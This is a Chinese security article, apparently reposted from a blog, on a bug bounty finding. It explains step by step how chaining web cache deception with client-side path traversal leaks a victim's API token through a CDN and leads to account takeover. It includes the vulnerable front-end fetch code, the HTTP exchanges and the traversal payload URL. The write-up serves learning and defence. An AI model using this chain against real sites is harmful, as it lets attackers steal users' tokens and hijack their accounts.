文章总结： 本文阐述结合缓存欺骗与客户端路径遍历实现账户接管的技术。作者发现API存在缓存欺骗漏洞但依赖认证头，同时前端存在CSPT允许控制API路径。通过漏洞链组合，诱导受害者触发带认证请求访问可缓存端点，迫使CDN缓存敏感Token，从而实现账户接管。建议测试中重视低危漏洞组合，检查API缓存配置及前端路径拼接安全。 综合评分： 89 文章分类： WEB安全,漏洞分析,SRC活动,渗透测试

缓存欺骗 + CSPT = 账户接管

原创

一个不正经的黑客 一个不正经的黑客

一个不正经的黑客

2026年1月28日 20:43 广东

缓存欺骗 + CSPT = 账户接管

前言

很早之前针对CSPT这一新型前端技术做了一次分析学习。

新型攻击 CSPT2CSR-利用客户端路径遍历实现 CSRF 攻击

最近看到Zere提到一篇与之相关并结合缓存欺骗组合利用完成造成帐户接管的真实漏洞案例。

整个过程非常有意思，下面让我们一起来学习一下。

正文

最近，在审计某个私有 bug bounty 项目的主应用时，我发现了一个 Client-Side Path Traversal (CSPT) 漏洞以及一个 Cache Deception 漏洞。

单独来看，这两个问题都无法被利用，也不存在实际安全影响；

但当我将它们进行 漏洞链（chaining） 后，成功演示了 Account Takeover。

在深入细节之前，如果你对这些概念还不熟悉，我强烈建议你先阅读以下资料：

关于 CSPT：

• • Matan Berson 对 CSPT 的精彩介绍 —— 从基础层面系统性讲解了 CSPT 的概念

  https://matanber.com/blog/cspt-levels/

• • 我用西班牙语分享的 CSPT 演讲 —— 如果你会西班牙语，这里涵盖了 CSPT 的核心原理及一些实战场景

• • Maxence Schmitt 的这份优秀 CSPT 演示文稿

关于 Cache Deception：

• • PortSwigger 官方文档：

  https://portswigger.net/web-security/web-cache-deception

Cache Deception

在初期侦察阶段，我发现了如下请求：

GET /v1/token HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json
Accept-Encoding: gzip, deflate, br

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-cache, no-store, must-revalidate
X-Cache: Miss from cdn
Connection: keep-alive

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}

由于该 endpoint 返回的是敏感数据，我决定通过添加 .css 扩展名来测试其

是否存在 Cache Deception 漏洞：

GET /v1/token.css HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json
Accept-Encoding: gzip, deflate, br

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: max-age=86400, public
X-Cache: Hit from cdn
Connection: keep-alive

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}

可以看到，返回的响应内容完全一致，并且已经被缓存。

这表明该 endpoint 确实存在 Cache Deception 漏洞。

然而，该请求依赖 X-Auth-Token header，而浏览器在用户直接访问 URL 时无法自动携带该 header。

这使得该 Cache Deception 漏洞在当前条件下无法被利用，因为攻击者无法强制受害者的浏览器在发起请求时包含其认证 token。

Client-Side Path Traversal

在审查前端代码时，我发现了如下 JavaScript 代码：

const urlParams = new URLSearchParams(window.location.search);
const userId = urlParams.get('userId');

const apiUrl = `https://api.example.com/v1/users/info/${userId}`;

fetch(apiUrl, {
  method: 'GET',
  headers: {
    'X-Auth-Token': authToken
  }
})
.then(response => response.json())
.then(data => {
  displayUSERData(data);
})
.catch(err => console.error("Error loading user info:", err));

这展示了一个典型的 Client-Side Path Traversal 漏洞示例。

userId 参数被直接拼接进 API URL 中，并且没有进行任何 path traversal 相关的校验或限制。

因此，我可以控制一个带认证的 API 请求的 path。

但问题是：这种控制能做什么？

我既没有发现 open redirect，也无法操控任何 API response 的 body。

单独来看，这个 CSPT 是无法被利用的。

The Chain

在这一刻，我意识到：如果把这两个发现组合起来会发生什么？

CSPT 漏洞允许我控制一个携带 X-Auth-Token header 的 authenticated API request 的 path；

而 Cache Deception 漏洞恰恰要求该 header 存在，才能缓存敏感数据。

如果我利用 CSPT，直接向可被缓存的 endpoint 发起一个 authenticated request，会怎样？

为了验证这一点，我构造了一个 CSPT payload，用于 traversal 到可缓存的 endpoint：

https://example.com/user?id=../../../v1/token.css

当用户访问该 URL 时，前端 JavaScript 会构造如下 API 请求：

https://api.example.com/v1/users/info/../../../v1/token.css

该路径最终被解析为：

https://api.example.com/v1/token.css

关键点在于：

这个请求自动携带了用户的 X-Auth-Token header。

因此，当 CSPT 被触发时，它实际上向一个 可缓存的 endpoint 发送了一个 authenticated request。

API 返回了敏感的 token 数据，并且 CDN 对该响应进行了缓存。

此后，任何人（包括 unauthenticated users） 只要访问：

https://api.example.com/v1/token.css

CDN 就会返回受害者被缓存的敏感数据，其中包含其 token，最终导致 Account Takeover。

正文小结

希望这个 attack chain 能够对你有所启发，展示了多个看似轻微、单独不可利用的漏洞在组合后，如何演变为严重的安全风险。

这也说明了一个关键点：

在安全分析中，必须跳出单一安全机制的视角，绝不能忽视那些表面上“不可利用”的问题。

在很多情况下，最危险的攻击并非源于单个高危漏洞，而是来自多个孤立看似无害的漏洞的组合利用。

Thanks: https://zere.es/posts/cache-deception-cspt-account-takeover/

漏洞点评

非常简洁的一次漏洞利用！

其中缓存欺骗这个点是比较有意思的，如果不开发一个专业的扫描工具或许真的不好发现这类漏洞。

不过有一个比较好的思路，那就是在测试某个项目之前，先观察下请求，特别是API Response的响应，都可以尝试.css、.js 后缀看是否能够触发缓存。

另外针对CSPT前端的路径穿越可玩性其实很多，相当于拿到一个GET类型的CSRF。

正常来看GET类型的CSRF毕竟鸡肋，但真实情况其实并不尽然，有些接口实现比如刷新Token，退出登录也可能是GET请求。

不过这个漏洞结合起缓存欺骗确实能够实现最大危害利用：帐户接管

但帐户接管就一定很厉害了么？

公式如下:

缓存欺骗 + CSPT = 普通反射XSS = 账户接管

所以这个漏洞，评级你觉得是多少合适呢？

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：一个不正经的黑客 一个不正经的黑客 一个不正经的黑客《缓存欺骗 + CSPT = 账户接管》